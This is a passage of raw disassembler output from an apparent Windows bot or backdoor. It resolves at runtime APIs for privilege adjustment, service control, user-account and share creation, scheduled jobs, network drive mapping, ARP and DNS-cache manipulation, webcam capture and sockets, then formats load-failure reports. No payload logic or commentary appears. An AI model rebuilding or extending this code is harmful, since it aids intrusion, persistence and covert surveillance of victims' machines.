dword_491568, ebx jz short loc_40E887 cmp dword_4915C8, ebx jz short loc_40E887 cmp eax, ebx jnz short loc_40E891 loc_40E887: ; CODE XREF: sub_40E59D+2C4j ; sub_40E59D+2CCj ... mov dword_49172C, 1 loc_40E891: ; CODE XREF: sub_40E59D+2E8j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_491640, eax call esi ; GetProcAddress push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_491618, eax call esi ; GetProcAddress cmp dword_491640, ebx mov dword_4916C8, eax jz short loc_40E8CC cmp dword_491618, ebx jz short loc_40E8CC cmp eax, ebx jnz short loc_40E8D6 loc_40E8CC: ; CODE XREF: sub_40E59D+321j ; sub_40E59D+329j mov dword_49172C, 1 loc_40E8D6: ; CODE XREF: sub_40E59D+32Dj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi ; GetProcAddress push offset aOpenservicea ; "OpenServiceA" push edi mov dword_491650, eax call esi ; GetProcAddress push offset aStartservicea ; "StartServiceA" push edi mov dword_491544, eax call esi ; GetProcAddress push offset aControlservice ; "ControlService" push edi mov dword_49154C, eax call esi ; GetProcAddress push offset aDeleteservice ; "DeleteService" push edi mov dword_4915AC, eax call esi ; GetProcAddress push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4915B0, eax call esi ; GetProcAddress push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_491560, eax call esi ; GetProcAddress push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_49161C, eax call esi ; GetProcAddress cmp dword_491650, ebx mov dword_491550, eax jz short loc_40E97A cmp dword_491544, ebx jz short loc_40E97A cmp dword_49154C, ebx jz short loc_40E97A cmp dword_4915AC, ebx jz short loc_40E97A cmp dword_4915B0, ebx jz short loc_40E97A cmp dword_491560, ebx jz short loc_40E97A cmp dword_49161C, ebx jz short loc_40E97A cmp eax, ebx jnz short loc_40E984 loc_40E97A: ; CODE XREF: sub_40E59D+3A7j ; sub_40E59D+3AFj ... mov dword_49172C, 1 loc_40E984: ; CODE XREF: sub_40E59D+3DBj push offset aGetusernamea ; "GetUserNameA" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_491548, eax jnz short loc_40E9AC jmp short loc_40E9A2 ; --------------------------------------------------------------------------- loc_40E997: ; CODE XREF: sub_40E59D+26Aj call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491730, eax loc_40E9A2: ; CODE XREF: sub_40E59D+3F8j mov dword_49172C, 1 loc_40E9AC: ; CODE XREF: sub_40E59D+3F6j push offset aGdi32_dll ; "gdi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_40EA78 push offset aCreatedca ; "CreateDCA" push edi call esi ; GetProcAddress push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_491648, eax call esi ; GetProcAddress push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4916A0, eax call esi ; GetProcAddress push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4916A8, eax call esi ; GetProcAddress push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_491664, eax call esi ; GetProcAddress push offset aSelectobject ; "SelectObject" push edi mov dword_49158C, eax call esi ; GetProcAddress push offset aBitblt ; "BitBlt" push edi mov dword_491538, eax call esi ; GetProcAddress push offset aDeletedc ; "DeleteDC" push edi mov dword_4916A4, eax call esi ; GetProcAddress push offset aDeleteobject ; "DeleteObject" push edi mov dword_491524, eax call esi ; GetProcAddress cmp dword_491648, ebx mov dword_4915C0, eax jz short loc_40EA83 cmp dword_4916A0, ebx jz short loc_40EA83 cmp dword_4916A8, ebx jz short loc_40EA83 cmp dword_491664, ebx jz short loc_40EA83 cmp dword_49158C, ebx jz short loc_40EA83 cmp dword_491538, ebx jz short loc_40EA83 cmp dword_4916A4, ebx jz short loc_40EA83 cmp dword_491524, ebx jz short loc_40EA83 cmp eax, ebx jnz short loc_40EA8D jmp short loc_40EA83 ; --------------------------------------------------------------------------- loc_40EA78: ; CODE XREF: sub_40E59D+41Aj call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491738, eax loc_40EA83: ; CODE XREF: sub_40E59D+49Bj ; sub_40E59D+4A3j ... mov dword_491734, 1 loc_40EA8D: ; CODE XREF: sub_40E59D+4D7j mov ebp, ds:dword_4953C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40ED49 push offset aWsastartup ; "WSAStartup" push edi call esi ; GetProcAddress push offset aWsasocketa ; "WSASocketA" push edi mov dword_4915D4, eax call esi ; GetProcAddress push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_491700, eax call esi ; GetProcAddress push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_491578, eax call esi ; GetProcAddress push offset aWsaioctl ; "WSAIoctl" push edi mov dword_491554, eax call esi ; GetProcAddress push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_491608, eax call esi ; GetProcAddress push offset aWsacleanup ; "WSACleanup" push edi mov dword_4915F0, eax call esi ; GetProcAddress push offset aSocket ; "socket" push edi mov dword_4915BC, eax call esi ; GetProcAddress push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4916DC, eax call esi ; GetProcAddress push offset aConnect ; "connect" push edi mov dword_4916F8, eax call esi ; GetProcAddress push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_491604, eax call esi ; GetProcAddress push offset aInet_addr ; "inet_addr" push edi mov dword_4916E8, eax call esi ; GetProcAddress push offset aHtons ; "htons" push edi mov dword_49169C, eax call esi ; GetProcAddress push offset aHtonl ; "htonl" push edi mov dword_49165C, eax call esi ; GetProcAddress push offset aNtohs ; "ntohs" push edi mov dword_491658, eax call esi ; GetProcAddress push offset aNtohl ; "ntohl" push edi mov dword_491598, eax call esi ; GetProcAddress push offset aSend ; "send" push edi mov dword_491590, eax call esi ; GetProcAddress push offset aSendto ; "sendto" push edi mov dword_4916AC, eax call esi ; GetProcAddress push offset aRecv ; "recv" push edi mov dword_4916C0, eax call esi ; GetProcAddress push offset aRecvfrom ; "recvfrom" push edi mov dword_491674, eax call esi ; GetProcAddress mov dword_491634, eax push offset aBind ; "bind" push edi call esi ; GetProcAddress push offset aSelect ; "select" push edi mov dword_491688, eax call esi ; GetProcAddress push offset aListen ; "listen" push edi mov dword_491644, eax call esi ; GetProcAddress push offset aAccept ; "accept" push edi mov dword_491684, eax call esi ; GetProcAddress push offset aSetsockopt ; "setsockopt" push edi mov dword_4916F0, eax call esi ; GetProcAddress push offset aGetsockname ; "getsockname" push edi mov dword_49163C, eax call esi ; GetProcAddress push offset aGethostname ; "gethostname" push edi mov dword_491600, eax call esi ; GetProcAddress push offset aGethostbyname ; "gethostbyname" push edi mov dword_491670, eax call esi ; GetProcAddress push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4916E0, eax call esi ; GetProcAddress push offset aGetpeername ; "getpeername" push edi mov dword_491614, eax call esi ; GetProcAddress push offset aClosesocket ; "closesocket" push edi mov dword_4915B8, eax call esi ; GetProcAddress cmp dword_4915D4, ebx mov dword_4916F4, eax jz loc_40ED54 cmp dword_491700, ebx jz loc_40ED54 cmp dword_491578, ebx jz loc_40ED54 cmp dword_491608, ebx jz loc_40ED54 cmp dword_4915F0, ebx jz loc_40ED54 cmp dword_4915BC, ebx jz loc_40ED54 cmp dword_4916DC, ebx jz loc_40ED54 cmp dword_4916F8, ebx jz loc_40ED54 cmp dword_491604, ebx jz loc_40ED54 cmp dword_4916E8, ebx jz loc_40ED54 cmp dword_49169C, ebx jz loc_40ED54 cmp dword_49165C, ebx jz loc_40ED54 cmp dword_491658, ebx jz loc_40ED54 cmp dword_491598, ebx jz short loc_40ED54 cmp dword_4916AC, ebx jz short loc_40ED54 cmp dword_4916C0, ebx jz short loc_40ED54 cmp dword_491674, ebx jz short loc_40ED54 cmp dword_491634, ebx jz short loc_40ED54 cmp dword_491688, ebx jz short loc_40ED54 cmp dword_491644, ebx jz short loc_40ED54 cmp dword_491684, ebx jz short loc_40ED54 cmp dword_4916F0, ebx jz short loc_40ED54 cmp dword_49163C, ebx jz short loc_40ED54 cmp dword_491600, ebx jz short loc_40ED54 cmp dword_491670, ebx jz short loc_40ED54 cmp dword_4916E0, ebx jz short loc_40ED54 cmp dword_491614, ebx jz short loc_40ED54 cmp eax, ebx jnz short loc_40ED5E jmp short loc_40ED54 ; --------------------------------------------------------------------------- loc_40ED49: ; CODE XREF: sub_40E59D+501j call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491740, eax loc_40ED54: ; CODE XREF: sub_40E59D+6A0j ; sub_40E59D+6ACj ... mov dword_49173C, 1 loc_40ED5E: ; CODE XREF: sub_40E59D+7A8j push offset aWininet_dll ; "wininet.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40EE63 push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi ; GetProcAddress push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4915A0, eax call esi ; GetProcAddress push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_49152C, eax call esi ; GetProcAddress push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_491624, eax call esi ; GetProcAddress push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4915D8, eax call esi ; GetProcAddress push offset aInternetopena ; "InternetOpenA" push edi mov dword_491630, eax call esi ; GetProcAddress push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4915F4, eax call esi ; GetProcAddress push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_49156C, eax call esi ; GetProcAddress push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_491564, eax call esi ; GetProcAddress push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_491574, eax call esi ; GetProcAddress cmp dword_4915A0, ebx mov ecx, dword_4915F4 mov dword_491690, eax jz short loc_40EE3F cmp dword_49152C, ebx jz short loc_40EE3F cmp dword_491624, ebx jz short loc_40EE3F cmp dword_4915D8, ebx jz short loc_40EE3F cmp dword_491630, ebx jz short loc_40EE3F cmp ecx, ebx jz short loc_40EE3F cmp dword_49156C, ebx jz short loc_40EE3F cmp dword_491564, ebx jz short loc_40EE3F cmp dword_491574, ebx jz short loc_40EE3F cmp eax, ebx jnz short loc_40EE49 loc_40EE3F: ; CODE XREF: sub_40E59D+860j ; sub_40E59D+868j ... mov dword_491744, 1 loc_40EE49: ; CODE XREF: sub_40E59D+8A0j cmp ecx, ebx jz short loc_40EE7E push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx ; InternetOpenA cmp eax, ebx mov dword_49160C, eax jnz short loc_40EE7E jmp short loc_40EE78 ; --------------------------------------------------------------------------- loc_40EE63: ; CODE XREF: sub_40E59D+7CCj call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491748, eax mov dword_491744, 1 loc_40EE78: ; CODE XREF: sub_40E59D+8C4j mov dword_49160C, ebx loc_40EE7E: ; CODE XREF: sub_40E59D+8AEj ; sub_40E59D+8C2j push offset aIcmp_dll ; "icmp.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40EEC8 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi ; GetProcAddress push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4915E8, eax call esi ; GetProcAddress push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_491714, eax call esi ; GetProcAddress cmp dword_4915E8, ebx mov dword_491580, eax jz short loc_40EED3 cmp dword_491714, ebx jz short loc_40EED3 cmp eax, ebx jnz short loc_40EEDD jmp short loc_40EED3 ; --------------------------------------------------------------------------- loc_40EEC8: ; CODE XREF: sub_40E59D+8ECj call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491750, eax loc_40EED3: ; CODE XREF: sub_40E59D+91Bj ; sub_40E59D+923j ... mov dword_49174C, 1 loc_40EEDD: ; CODE XREF: sub_40E59D+927j push offset aNetapi32_dll ; "netapi32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_40EFD3 push offset aNetshareadd ; "NetShareAdd" push edi call esi ; GetProcAddress push offset aNetsharedel ; "NetShareDel" push edi mov dword_49155C, eax call esi ; GetProcAddress push offset aNetshareenum ; "NetShareEnum" push edi mov dword_491534, eax call esi ; GetProcAddress push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4915A8, eax call esi ; GetProcAddress push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4915DC, eax call esi ; GetProcAddress push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4916EC, eax call esi ; GetProcAddress push offset aNetuseradd ; "NetUserAdd" push edi mov dword_491594, eax call esi ; GetProcAddress push offset aNetuserdel ; "NetUserDel" push edi mov dword_491540, eax call esi ; GetProcAddress push offset aNetuserenum ; "NetUserEnum" push edi mov dword_491530, eax call esi ; GetProcAddress push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4915C4, eax call esi ; GetProcAddress push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4916B4, eax call esi ; GetProcAddress cmp dword_49155C, ebx mov dword_49166C, eax jz short loc_40EFDE cmp dword_491534, ebx jz short loc_40EFDE cmp dword_4915A8, ebx jz short loc_40EFDE cmp dword_4915DC, ebx jz short loc_40EFDE cmp dword_4916EC, ebx jz short loc_40EFDE cmp dword_491594, ebx jz short loc_40EFDE cmp dword_491540, ebx jz short loc_40EFDE cmp dword_491530, ebx jz short loc_40EFDE cmp dword_4915C4, ebx jz short loc_40EFDE cmp dword_4916B4, ebx jz short loc_40EFDE cmp eax, ebx jnz short loc_40EFE8 jmp short loc_40EFDE ; --------------------------------------------------------------------------- loc_40EFD3: ; CODE XREF: sub_40E59D+94Bj call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491758, eax loc_40EFDE: ; CODE XREF: sub_40E59D+9E6j ; sub_40E59D+9EEj ... mov dword_491754, 1 loc_40EFE8: ; CODE XREF: sub_40E59D+A32j push offset aDnsapi_dll ; "dnsapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40F01D push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi ; GetProcAddress push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_491584, eax call esi ; GetProcAddress cmp dword_491584, ebx mov dword_491654, eax jz short loc_40F028 cmp eax, ebx jnz short loc_40F032 jmp short loc_40F028 ; --------------------------------------------------------------------------- loc_40F01D: ; CODE XREF: sub_40E59D+A56j call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491760, eax loc_40F028: ; CODE XREF: sub_40E59D+A78j ; sub_40E59D+A7Ej mov dword_49175C, 1 loc_40F032: ; CODE XREF: sub_40E59D+A7Cj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40F067 push offset aGetipnettable ; "GetIpNetTable" push edi call esi ; GetProcAddress push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4916D8, eax call esi ; GetProcAddress cmp dword_4916D8, ebx mov dword_4916D4, eax jz short loc_40F072 cmp eax, ebx jnz short loc_40F07C jmp short loc_40F072 ; --------------------------------------------------------------------------- loc_40F067: ; CODE XREF: sub_40E59D+AA0j call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491768, eax loc_40F072: ; CODE XREF: sub_40E59D+AC2j ; sub_40E59D+AC8j mov dword_491764, 1 loc_40F07C: ; CODE XREF: sub_40E59D+AC6j push offset aMpr_dll ; "mpr.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40F0DB push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi ; GetProcAddress push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_491704, eax call esi ; GetProcAddress push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4916FC, eax call esi ; GetProcAddress push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4916C4, eax call esi ; GetProcAddress cmp dword_491704, ebx mov dword_49159C, eax jz short loc_40F0E6 cmp dword_4916FC, ebx jz short loc_40F0E6 cmp dword_4916C4, ebx jz short loc_40F0E6 cmp eax, ebx jnz short loc_40F0F0 jmp short loc_40F0E6 ; --------------------------------------------------------------------------- loc_40F0DB: ; CODE XREF: sub_40E59D+AEAj call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491770, eax loc_40F0E6: ; CODE XREF: sub_40E59D+B26j ; sub_40E59D+B2Ej ... mov dword_49176C, 1 loc_40F0F0: ; CODE XREF: sub_40E59D+B3Aj push offset aShell32_dll ; "shell32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40F125 push offset aShellexecutea ; "ShellExecuteA" push edi call esi ; GetProcAddress push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4915D0, eax call esi ; GetProcAddress cmp dword_4915D0, ebx mov dword_4916D0, eax jz short loc_40F130 cmp eax, ebx jnz short loc_40F13A jmp short loc_40F130 ; --------------------------------------------------------------------------- loc_40F125: ; CODE XREF: sub_40E59D+B5Ej call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491778, eax loc_40F130: ; CODE XREF: sub_40E59D+B80j ; sub_40E59D+B86j mov dword_491774, 1 loc_40F13A: ; CODE XREF: sub_40E59D+B84j push offset aOdbc32_dll ; "odbc32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40F1C3 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_491698, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4916E4, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_491620, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4915E0, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_491678, eax call esi ; GetProcAddress cmp dword_491698, ebx mov dword_4915EC, eax jz short loc_40F1CE cmp dword_4916E4, ebx jz short loc_40F1CE cmp dword_491620, ebx jz short loc_40F1CE cmp dword_4915E0, ebx jz short loc_40F1CE cmp dword_491678, ebx jz short loc_40F1CE cmp eax, ebx jnz short loc_40F1D8 jmp short loc_40F1CE ; --------------------------------------------------------------------------- loc_40F1C3: ; CODE XREF: sub_40E59D+BA8j call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491780, eax loc_40F1CE: ; CODE XREF: sub_40E59D+BFEj ; sub_40E59D+C06j ... mov dword_49177C, 1 loc_40F1D8: ; CODE XREF: sub_40E59D+C22j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40F20D push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4915B4, eax call esi ; GetProcAddress cmp dword_4915B4, ebx mov dword_49168C, eax jz short loc_40F218 cmp eax, ebx jnz short loc_40F222 jmp short loc_40F218 ; --------------------------------------------------------------------------- loc_40F20D: ; CODE XREF: sub_40E59D+C46j call ds:dword_495328 ; RtlGetLastWin32Error mov dword_491788, eax loc_40F218: ; CODE XREF: sub_40E59D+C68j ; sub_40E59D+C6Ej mov dword_491784, 1 loc_40F222: ; CODE XREF: sub_40E59D+C6Cj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_40E59D endp ; --------------------------------------------------------------------------- db 323h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F54D proc near ; CODE XREF: sub_4010DCj var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_49171C, esi push edi mov edi, [ebp+arg_8] jz short loc_40F595 push dword_491720 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F595: ; CODE XREF: sub_40F54D+1Aj cmp dword_491724, esi jz short loc_40F5C9 push dword_491728 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F5C9: ; CODE XREF: sub_40F54D+4Ej cmp dword_49172C, esi jz short loc_40F5FD push dword_491730 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F5FD: ; CODE XREF: sub_40F54D+82j cmp dword_491734, esi jz short loc_40F631 push dword_491738 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F631: ; CODE XREF: sub_40F54D+B6j cmp dword_49173C, esi jz short loc_40F665 push dword_491740 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F665: ; CODE XREF: sub_40F54D+EAj cmp dword_491744, esi jz short loc_40F699 push dword_491748 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F699: ; CODE XREF: sub_40F54D+11Ej cmp dword_49174C, esi jz short loc_40F6CD push dword_491750 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F6CD: ; CODE XREF: sub_40F54D+152j cmp dword_491754, esi jz short loc_40F701 push dword_491758 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F701: ; CODE XREF: sub_40F54D+186j cmp dword_49175C, esi jz short loc_40F735 push dword_491760 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F735: ; CODE XREF: sub_40F54D+1BAj cmp dword_491764, esi jz short loc_40F769 push dword_491768 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F769: ; CODE XREF: sub_40F54D+1EEj cmp dword_49176C, esi jz short loc_40F79D push dword_491770 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F79D: ; CODE XREF: sub_40F54D+222j cmp dword_491774, esi jz short loc_40F7D1 push dword_491778 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F7D1: ; CODE XREF: sub_40F54D+256j cmp dword_49177C, esi jz short loc_40F805 push dword_491780 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F805: ; CODE XREF: sub_40F54D+28Aj cmp dword_491784, esi jz short loc_40F839 push dword_491788 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_416821 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 20h loc_40F839: ; CODE XREF: sub_40F54D+2BEj lea eax, [ebp+var_200] push offset unk_4303AC push eax call sub_416821 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40F866 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_4010D2 add esp, 14h loc_40F866: ; CODE XREF: sub_40F54D+302j lea eax, [ebp+var_200] push eax call sub_401014 pop ecx pop edi pop esi pop ebx leave retn sub_40F54D endp ; --------------------------------------------------------------------------- db 0CAh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F942 proc near ; CODE XREF: sub_40113Bj arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_40F9CD mov eax, [ebp+arg_4] cmp eax, esi jz short loc_40F9CD cmp [ebp+arg_8], esi jz short loc_40F9CD cmp byte ptr [eax], 0 jz short loc_40F9CD push ebx push edi call sub_421042 mov ebx, eax pop ecx test ebx, ebx jz short loc_40F9C8 push [ebp+arg_4] push edi call sub_417760 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F9C1 sub eax, edi push eax push edi push ebx call sub_416A10 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_4158E0 push eax push [ebp+arg_8] push ebx call sub_4168B0 push [ebp+arg_4] call sub_4158E0 add eax, esi push eax push ebx call sub_4175E0 push ebx push edi call sub_4175D0 add esp, 30h mov esi, edi loc_40F9C1: ; CODE XREF: sub_40F942+3Cj push ebx call sub_415D6C pop ecx loc_40F9C8: ; CODE XREF: sub_40F942+2Bj mov eax, esi pop ebx jmp short loc_40F9CF ; --------------------------------------------------------------------------- loc_40F9CD: ; CODE XREF: sub_40F942+Cj ; sub_40F942+13j ... xor eax, eax loc_40F9CF: ; CODE XREF: sub_40F942+89j pop edi pop esi pop ebp retn sub_40F942 endp ; --------------------------------------------------------------------------- db 24h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F9F7 proc near ; CODE XREF: sub_4010D7j var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_415CA0 mov esi, [ebp+arg_0] push esi call sub_4158E0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_40FA2D or eax, 0FFFFFFFFh jmp short loc_40FAA0 ; --------------------------------------------------------------------------- loc_40FA2D: ; CODE XREF: sub_40F9F7+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_40FA4F loc_40FA39: ; CODE XREF: sub_40F9F7+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_40FA46 cmp dl, 0Dh jnz short loc_40FA4A loc_40FA46: ; CODE XREF: sub_40F9F7+48j and byte ptr [ecx+esi], 0 loc_40FA4A: ; CODE XREF: sub_40F9F7+4Dj inc ecx cmp ecx, eax jl short loc_40FA39 loc_40FA4F: ; CODE XREF: sub_40F9F7+40j xor edx, edx push edi test eax, eax jle short loc_40FA80 lea edi, [ebp+var_7CC] loc_40FA5C: ; CODE XREF: sub_40F9F7+87j cmp byte ptr [edx+esi], 0 jnz short loc_40FA7B cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_40FA7B cmp ebx, 1F4h jge short loc_40FA80 mov [edi], ecx inc ebx add edi, 4 loc_40FA7B: ; CODE XREF: sub_40F9F7+69j ; sub_40F9F7+74j inc edx cmp edx, eax jl short loc_40FA5C loc_40FA80: ; CODE XREF: sub_40F9F7+5Dj ; sub_40F9F7+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_40FA9E lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_415960 add esp, 0Ch loc_40FA9E: ; CODE XREF: sub_40F9F7+8Ej mov eax, ebx loc_40FAA0: ; CODE XREF: sub_40F9F7+34j pop esi pop ebx leave retn sub_40F9F7 endp ; --------------------------------------------------------------------------- db 2Bh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FACF proc near ; CODE XREF: sub_40122Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_40FB08 push ebx mov ebx, edi loc_40FAEC: ; CODE XREF: sub_40FACF+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_401131 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_40FAEC pop ebx loc_40FB08: ; CODE XREF: sub_40FACF+18j pop edi pop esi retn 